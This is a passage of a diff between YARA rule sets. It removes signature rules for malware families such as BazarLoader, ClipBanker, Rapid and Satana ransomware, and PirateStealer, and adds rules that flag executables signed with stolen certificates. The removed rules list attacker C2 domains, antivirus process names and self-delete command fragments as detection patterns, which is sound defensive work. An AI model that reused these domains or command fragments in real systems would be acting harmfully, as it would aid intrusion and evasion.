-		hash2 = "a2754d7995426b58317e437f8ed6770cd7bb7b18d971e23b2b300b75e34fa086"
-		hash3 = "b46949feeda8726c0fb86d3cd32d3f3f53f6d2e6e3fcd6f893a76b8b2632b249"
-		hash4 = "b54a67062bdcd32dfa9f3d7b69780d2e6e4925777290bc34e8f979a1b4b72ea2"
-		hash5 = "b766522dd4189fef7775d663e5649ba9d8be8e03022039d20848fcbc3643e5f2"
-		hash6 = "d3606e2e36db0a0cb1b8168423188ee66332cae24fe59d63f93f5f53ab7c3029"
-		hash7 = "857e2f63a1078d49adc59a03482f7b362563f16fb251f174bdaa7759ed47922a"
-		hash8 = "4f1b8c9209fa2684aa3777353222ad1c7716910dbb615d96ffc7882eb81dd248"
-
-	strings:
-		$ua1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)" fullword wide
-		$ua2 = "Mozilla/5.0 (Android; Mobile; rv:28.0) Gecko/28.0 Firefox/28.0" fullword wide
-		$ua3 = "Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 520)" fullword wide
-		$ua4 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; XBLWP7; ZuneWP7)" fullword wide
-		$ua5 = "Mozilla/5.0 (IE 11.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; rv:11.0) like Gecko" fullword wide
-		$ua6 = "Mozilla/5.0 (iPad; U; CPU OS 5_1_1 like Mac OS X; en-us) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3" fullword wide
-		$ua7 = "Mozilla/5.0 (Linux; Android 4.1; Galaxy Nexus Build/JRN84D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19" fullword wide
-		$ua8 = "Mozilla/5.0 (Linux; Android 7.1.1; ASUS_X017DA Build/NGI77B; rv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Rocket/1.5.1(11790) Chrome/74.0.3729.157 Mobile Safari/537.36" fullword wide
-		$ua9 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0" fullword wide
-		$ua10 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" fullword wide
-		$ua11 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36" fullword wide
-		$ua12 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0" fullword wide
-		$n1 = "charset={[A-Za-z0-9\\-_]+}" fullword wide
-		$n2 = "Content-Length: {[0-9]+}" fullword wide
-		$n3 = "Location: {[0-9]+}" fullword wide
-		$n4 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
-		$n5 = "{<html>}" fullword wide
-		$n6 = "&formid=" fullword ascii
-		$n7 = "/?id=" fullword ascii
-		$p1 = "\\milan\\Debug\\Milan.pdb" ascii
-		$p2 = "\\milan\\Release\\Milan.pdb" ascii
-		$p3 = "\\BackDor Last\\" ascii
-		$p4 = "\\BackDorLast\\" ascii
-		$s1 = "/q \"%s\" & waitfor" wide
-		$s2 = "/q \"%s\" & schtasks /delete" wide
-		$s3 = "*BOT@;" fullword ascii
-		$s4 = "mofcomp \"" fullword ascii
-		$s5 = "\"WQL\";};instance of " ascii
-		$s6 = "</svalue>" fullword wide
-		$s7 = "cmd.exe /C " wide nocase
-		$d1 = "akastatus.com" ascii
-		$d2 = "centosupdatecdn.com" ascii
-		$d3 = "checkinternet.org" ascii
-		$d4 = "cybersecnet.co.za" ascii
-		$d5 = "cybersecnet.org" ascii
-		$d6 = "defenderlive.com" ascii
-		$d7 = "defenderstatus.com" ascii
-		$d8 = "digitalmarketingagency.net" ascii
-		$d9 = "dnsanalizer.com" ascii
-		$d10 = "dnscatalog.net" ascii
-		$d11 = "dnscdn.org" ascii
-		$d12 = "dnsstatus.org" ascii
-		$d13 = "excsrvcdn.com" ascii
-		$d14 = "hpesystem.com" ascii
-		$d15 = "livednscdn.com" ascii
-		$d16 = "micrsoftonline.net" ascii
-		$d17 = "ndianmombais.com" ascii
-		$d18 = "online-analytic.com" ascii
-		$d19 = "securednsservice.net" ascii
-		$d20 = "sysadminnews.info" ascii
-		$d21 = "uctpostgraduate.com" ascii
-		$d22 = "updatecdn.net" ascii
-		$d23 = "web-traffic.info" ascii
-		$d24 = "windowsupdatecdn.com" ascii
-		$d25 = "wsuslink.com" ascii
-		$d26 = "zonestatistic.com" ascii
+		thumbprint = "b577362c1abcfb7d163b8702f23a6a3643c72ea0a3c8cf262092903a3110fa04"
+		reason = "PrivateLoader"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($p*) and (2 of ($s*) or 2 of ($ua*))) or (5 of ($n*) and (2 of ($ua*) or 1 of ($p*) or 1 of ($s*))) or (3 of ($s*) and (2 of ($ua*) or 5 of ($n*))) or (2 of ($d*) and 6 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Astori LLC" and pe.signatures[i].serial=="df:c1:f1:b0:f2:05:cc:17:ed:7d:21:6b:b9:91:f8:59")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_UNK05 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_E573D9C8B403C41Bd59Ffa0A8Efd4168 : FILE
 {
 	meta:
-		description = "Detects potential BazarLoader"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "12f66315-f381-5910-b1d4-2cbf21c889a4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8469-L8486"
+		id = "683ea9a6-2002-5c48-8512-51f65e70dd2c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8206-L8219"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b3074f237fbaf449a53dcc219f48509db6af4c0d0859e6590563c3412be30aa8"
+		logic_hash = "ec53ab007d8be2f3cad45e787e724c5af0dd3f18c2b66a179b822bdeeb0d1560"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "/api/get" ascii wide
-		$s2 = "PARENTCMDLINE" fullword ascii
-		$s3 = "https://microsoft.com/telemetry/update.exe" ascii wide
-		$s4 = "api.opennicproject.org" fullword ascii wide
-		$s5 = "https://%hu.%hu.%hu.%hu:%u" fullword ascii wide
-		$s6 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31" ascii wide
-		$s7 = "PARENTJOBID" fullword ascii wide
-		$s8 = "\\System32\\rundll32.exe" fullword ascii wide
-		$s9 = "{ccc38b40-5b04-4fb1-a684-07c7e448d4df}" fullword ascii wide
-		$s10 = "{065f6686-990b-46fc-829c-a53ec188a723}" fullword ascii wide
+		thumbprint = "a9ab2be0ea677c6c6ed67b23cfee0fa44bfb346a4bb720f10a3f02a78b8f5c82"
+		reason = "Dridex"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VERONIKA 2\" OOO\"" and pe.signatures[i].serial=="e5:73:d9:c8:b4:03:c4:1b:d5:9f:fa:0a:8e:fd:41:68")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Clipbanker01 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2F38De4Ced0B070973B9E9B9B1Dcfa7F : FILE
 {
 	meta:
-		description = "Detects ClipBanker infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b56514f4-8362-5698-8142-be836b70a11a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8488-L8521"
+		id = "39910712-4a11-5722-9b48-c069bfcefb14"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8221-L8234"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8ef90e22299a1009468761a4cdb8e2a92920d721f1a7ebceeb81a07e14f9156f"
+		logic_hash = "84c3d89e8393bcaddea53326730d795f482ec65c574fde5c1c81f395178b591a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Clipper" fullword wide
-		$s2 = "Ushell" fullword wide
-		$s3 = "Banker" fullword wide
-		$s4 = "ClipPurse" fullword wide nocase
-		$s5 = "SelfClip" fullword wide
-		$s6 = "Cliper" fullword wide
-		$s7 = "FHQD4313-33DE-489D-9721-6AFF69841DEA" fullword wide
-		$s8 = "Remove.bat" fullword wide
-		$s9 = "\\w{1}\\d{12}" fullword wide
-		$s10 = "SELECT * FROM Win32_ComputerSystem" fullword wide
-		$s11 = "red hat" fullword wide
-		$s12 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00
-                 2e 00 65 00 78 00 65 00 00 ?? 2f 00 63 00 72 00
-                 65 00 61 00 74 00 65 00 20 00 2f 00 73 00 63 00
-                 20 00 00 ?? 20 00 2f 00 6d 00 6f 00 20 00 00 ??
-                 20 00 2f 00 72 00 6c 00 20 00 00 ?? 20 00 2f 00
-                 74 00 6e 00 20 00 00 ?? 20 00 2f 00 74 00 72 00
-                 20 00 00 ?? 20 00 ?? 00 ?? 00 00 ?? 2f 00 64 00
-                 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 74 00
-                 6e }
-		$s13 = "ClipChanger" fullword ascii
-		$s14 = "CheckVirtual" fullword ascii
-		$s15 = "InjReg" fullword ascii
-		$s16 = "SuicideFile" fullword ascii
-		$s17 = "HideFile" fullword ascii
-		$s18 = "AntiVm" fullword ascii
+		thumbprint = "71382f6c6e48df51f15606380cd6948bf37f044d18566ebc2d262fc87e70b9b1"
+		reason = "Gh0stRAT"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fahad Malik" and pe.signatures[i].serial=="2f:38:de:4c:ed:0b:07:09:73:b9:e9:b9:b1:dc:fa:7f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Zombieboy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_53E1F226Cb77574F8Fbeb5682Da091Bb : FILE
 {
 	meta:
-		description = "Detects ZombieBoy Downloader"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c1345196-1686-534c-ab4c-557113c83411"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8523-L8532"
+		id = "6967042e-156b-541d-970c-491dece12f08"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8236-L8249"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0840367c1b56c4c266f22400df95411ba7784b98919a922380e1ec789783bb65"
+		logic_hash = "41f4902e9d02254efdfd19a73de16e1128b15d264c3ed128d5ec28bd92f2d8a4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = ":\\Users\\ZombieBoy\\" ascii wide
-		$s2 = "RookIE/1.0" fullword ascii wide
+		thumbprint = "d247ec7e224a24683da3f138112ffc9607f83c917d6c45494dd744d732249260"
+		reason = "SystemBC"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OdyLab Inc" and pe.signatures[i].serial=="53:e1:f2:26:cb:77:57:4f:8f:be:b5:68:2d:a0:91:bb")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Pcrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Df2547B2Cab5689A81D61De80Eaaa3A2 : FILE
 {
 	meta:
-		description = "Detects PCRat / Gh0st"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "de5b3e08-16da-56e2-a0a4-d8bed5840804"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8534-L8561"
+		id = "4eba17f8-df3c-552d-90b5-faef7b860203"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8251-L8264"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ad56d7d6a2bb6d09bc4530c31b51456b6bbca5def1810449fd2a31973cce18f8"
+		logic_hash = "c32a6510bd3cfd09e84ccf36140eb405945059c981fb1888298501493f6ef68f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "ClearEventLogA" fullword ascii
-		$s2 = "NetUserAdd" fullword ascii
-		$s3 = "<H1>403 Forbidden</H1>" fullword ascii
-		$s4 = ":]%d-%d-%d  %d:%d:%d" fullword ascii
-		$s5 = "Mozilla/4.0 (compatible)" fullword ascii
-		$s6 = "<Enter>" fullword ascii
-		$s7 = "\\cmd.exe" fullword ascii
-		$s8 = "Program Files\\Internet Explorer\\IEXPLORE.EXE" fullword ascii
-		$s9 = "Collegesoft ScenicPlayer" fullword wide
-		$a1 = "360tray.exe" fullword ascii
-		$a2 = "avp.exe" fullword ascii
-		$a3 = "RavMonD.exe" fullword ascii
-		$a4 = "360sd.exe" fullword ascii
-		$a5 = "Mcshield.exe" fullword ascii
-		$a6 = "egui.exe" fullword ascii
-		$a7 = "kxetray.exe" fullword ascii
-		$a8 = "knsdtray.exe" fullword ascii
-		$a9 = "TMBMSRV.exe" fullword ascii
-		$a10 = "avcenter.exe" fullword ascii
-		$a11 = "ashDisp.exe" fullword ascii
+		thumbprint = "4c6e21a6e96ea6fae6c142c2d1c919f590d9bf4e5c6b0f3ec7f9b0a38f3ce45d"
+		reason = "IcedID"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of ($s*) and 6 of ($a*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FORWARD MUSIC AGENCY SRL" and pe.signatures[i].serial=="df:25:47:b2:ca:b5:68:9a:81:d6:1d:e8:0e:aa:a3:a2")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Rapid : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_58Af00Ce542760Fc116B41Fa92E18589 : FILE
 {
 	meta:
-		description = "Detects Rapid ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3a23f344-8345-5ae8-aacb-f2f422d3fc9d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8563-L8585"
+		id = "62fd5f76-b890-5532-8c6f-e26942584899"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8266-L8279"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c3f1bffeb402951da8bcccc899b2cdeb3c218b342d8338c750b9ff275537b4b5"
+		logic_hash = "bcabd77b40ad9eae4c499c8cd4b3e3d39e5478fa590be536860375e890c1b62e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "encblklen" fullword ascii
-		$s2 = ".rapid" fullword ascii
-		$s3 = "BgIAAACkAABSU0E" ascii
-		$s4 = "IFdlIHNlbmQ" ascii
-		$s5 = "Software\\EncryptKeys" fullword ascii
-		$s6 = "local_enc_private_key" fullword ascii
-		$s7 = "local_public_key" fullword ascii
-		$s8 = "How Recovery Files.txt" ascii
-		$s9 = "recovery.txt" ascii
-		$s10 = "thr %i run %s" fullword ascii
-		$s11 = " /TN Encrypter" ascii
-		$s12 = /Encrypter_\d+/ fullword ascii
-		$s13 = "BleepingComputer_rapid" ascii wide
-		$m1 = "tell us your unique ID - ID-" ascii
-		$m2 = "really want to restore your files?" ascii
+		thumbprint = "620dafea381ab657e0335321ca5a95077f33021927a32d5d62bff7e33704f4b7"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($s*) or (1 of ($m*) and 4 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DICKIE MUSDALE WINDFARM LIMITED" and pe.signatures[i].serial=="58:af:00:ce:54:27:60:fc:11:6b:41:fa:92:e1:85:89")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Satana : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5B1F9Ec88D185631Ab032Dbfd5166C0D : FILE
 {
 	meta:
-		description = "Detects Satana ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f3cb7cc4-3c63-50b2-8e19-d675abbb33f8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8587-L8604"
+		id = "233466e6-7b5f-50d7-967a-976b698e9194"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8281-L8294"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b2946e8c37be4a57237999aaa0c0a760a181306320162e04bc6fc12a542b81d5"
+		logic_hash = "05428b4e636a60fb409ead0f4aeb25ed08dae24d58c98a17bb77aa521706763a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		snort_sid = "920269-920270"
-
-	strings:
-		$bf1 = "Try Decrypt: uc_size = %d, c_size = %d" ascii
-		$bf2 = "dwMailSelector = %d  dwBtcSelector = %d" ascii
-		$bf3 = "%s: Error DecB: 0x%X" ascii
-		$bf4 = "MBR written to Disk# %d" ascii
-		$bf5 = "!SATANA!" ascii wide nocase
-		$bf6 = "1 -th start" fullword ascii
-		$bf7 = "id=%d&code=%d&sdata=%d.%d.%d %d %d %s %s %d&name=%s&md5=%s&dlen=%s" ascii
-		$bf8 = "threadAdminFlood: %s %s %s" wide
-		$bf9 = "%s: NET RES FOUND: %s" wide
+		thumbprint = "a46234c01e9f9904e500aefad4b5718d86aaec4e084b3d8ffbfe5724f8ddda45"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 4 of ($bf*)) or (5 of ($bf*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TOPFLIGHT GROUP LIMITED" and pe.signatures[i].serial=="5b:1f:9e:c8:8d:18:56:31:ab:03:2d:bf:d5:16:6c:0d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Virlock : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Ff52Eb011Bb748Fee75153Cbe1E50Dd6 : FILE
 {
 	meta:
-		description = "Detects VirLock ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "dbf46963-3e74-54a0-8f7d-b24436c3ea2c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8606-L8624"
+		id = "452d9f84-a950-5503-adaf-fba95b45e798"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8296-L8309"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8d516a0d771d7134c0f917f010b3973ed53b4ee7e4a2cf0bb5daecf9867b0081"
+		logic_hash = "e439f15c3312ed3a1840967bb165300a491ffe3d1c9c629abcbebf3efd9b1f50"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "BThere are two ways to pay a fine:" fullword wide
-		$x2 = "^Es gibt zwei M" fullword wide
-		$x3 = "glichkeiten, eine Strafe zahlen." fullword wide
-		$x4 = /usertile\d+\.bmp/ fullword wide
-		$s1 = "WinSock 2.0" fullword ascii
-		$s2 = "Running" fullword ascii
-		$s3 = "echo WScript.Sleep(50)>%TEMP%/file.vbs" fullword ascii
-		$s4 = "cscript %TEMP%/file.vbs" fullword ascii
-		$s5 = "del /F /Q file.js" fullword ascii
-		$s6 = "del /F /Q %1" fullword ascii
-		$s7 = "del /F /Q %0" fullword ascii
+		thumbprint = "c75025c80ab583a6ab87070e5b65c93cb59b48e0cbb5f99113e354a96f8fcd39"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and ((2 of ($x*) and 2 of ($s*)) or (5 of ($s*) and 1 of ($x*)))) or (8 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TASK ANNA LIMITED" and pe.signatures[i].serial=="ff:52:eb:01:1b:b7:48:fe:e7:51:53:cb:e1:e5:0d:d6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Piratestealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Eda0F47B3B38E781Cdf6Ef6Be5D3F6Ee : FILE
 {
 	meta:
-		description = "Detects PirateStealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "07278b99-b990-5016-8389-fbd27538a722"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8626-L8644"
+		id = "4d845dd7-4153-5082-bff0-d5f9a7b4b46e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8311-L8324"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c29fbc6cfa9e529218fa7315481e0922dc10b2da729931b8580bdd76ecdf6b68"
-		score = 50
+		logic_hash = "7b53d30e5b6176eaae854bf4046339864225b417a147fe6f24fb51dfb0535911"
+		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "PirateStealerBTW" wide
-		$s2 = "/PirateStealer/main/src/" wide
-		$s3 = "%WEBHOOK_LINK%" fullword wide
-		$s4 = "your_webhook_here" fullword wide
-		$s5 = "PirateMonsterInjector" ascii wide
-		$s6 = "DiscordProcesses" fullword ascii
-		$s7 = "GetDiscords" fullword ascii
-		$s8 = { 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 47
-               65 74 46 6f 6c 64 65 72 50 61 74 68 00 57 65 62
-               68 6f 6f 6b 00 4b 69 6c 6c 00 50 72 6f 67 72 61
-               6d 00 53 79 73 74 65 6d 00 4d 61 69 6e 00 }
+		thumbprint = "1ef38b7c430c09062f4408c47da14d814be5e2e99749e65a2cf097f5610024fc"
+		reason = "Matanbuchus"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ADVANCED ACCESS SERVICES LTD" and pe.signatures[i].serial=="ed:a0:f4:7b:3b:38:e7:81:cd:f6:ef:6b:e5:d3:f6:ee")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Nglite : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4728189Fa0F57793484Cdf764F5E283D : FILE
 {
 	meta:
-		description = "Detects NGLite"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b014ed4f-57b1-597e-befc-6e7f80855201"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8646-L8668"
+		id = "02ec531e-aa1b-50b8-ae32-d885a0185cfe"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8326-L8339"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d83663908949f69018461c73cf7137cf4ab16cc057cfe47942e6de0415ab5447"
+		logic_hash = "181971946ee4d643430b733ed57ccf07c940205853c9e5102b08b7bc509bcc63"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "/lprey/main.go" ascii
-		$x2 = "/NGLiteV1.01/lprey/" ascii
-		$x3 = "/ng.com/lprey/" ascii
-		$x4 = "/mnt/hgfs/CrossC2-2.2/src/" ascii
-		$x5 = "WHATswrongwithUu" ascii
-		$s1 = "main.Preylistener" fullword ascii
-		$s2 = "main.Runcommand" fullword ascii
-		$s3 = "main.RandomPass" fullword ascii
-		$s4 = "main.AesEncode" fullword ascii
-		$s5 = "main.RsaEncode" fullword ascii
-		$s6 = "main.AesDecode" fullword ascii
-		$s7 = "main.initonce" fullword ascii
-		$s8 = "main.SendOnce" fullword ascii
-		$s9 = "main.clientConf" fullword ascii
-		$s10 = "main.Sender" fullword ascii
+		thumbprint = "89ff94ac1c577eced3afc9a81689d30ca238a8472ad0f025f6bed57a98dbb273"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and ((1 of ($x*) and 2 of ($s*)) or (6 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Power Save Systems s.r.o." and pe.signatures[i].serial=="47:28:18:9f:a0:f5:77:93:48:4c:df:76:4f:5e:28:3d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Kdcsponge : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_24E4A2B3Db6Be1007B9Ddc91995Bc0C8 : FILE
 {
 	meta:
-		description = "Detects KdcSponge"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "8832a141-a85d-5604-992e-7e9bd892d410"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8670-L8700"
+		id = "47ca5986-3de8-56f2-a15d-ef588d8a9e03"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8341-L8354"
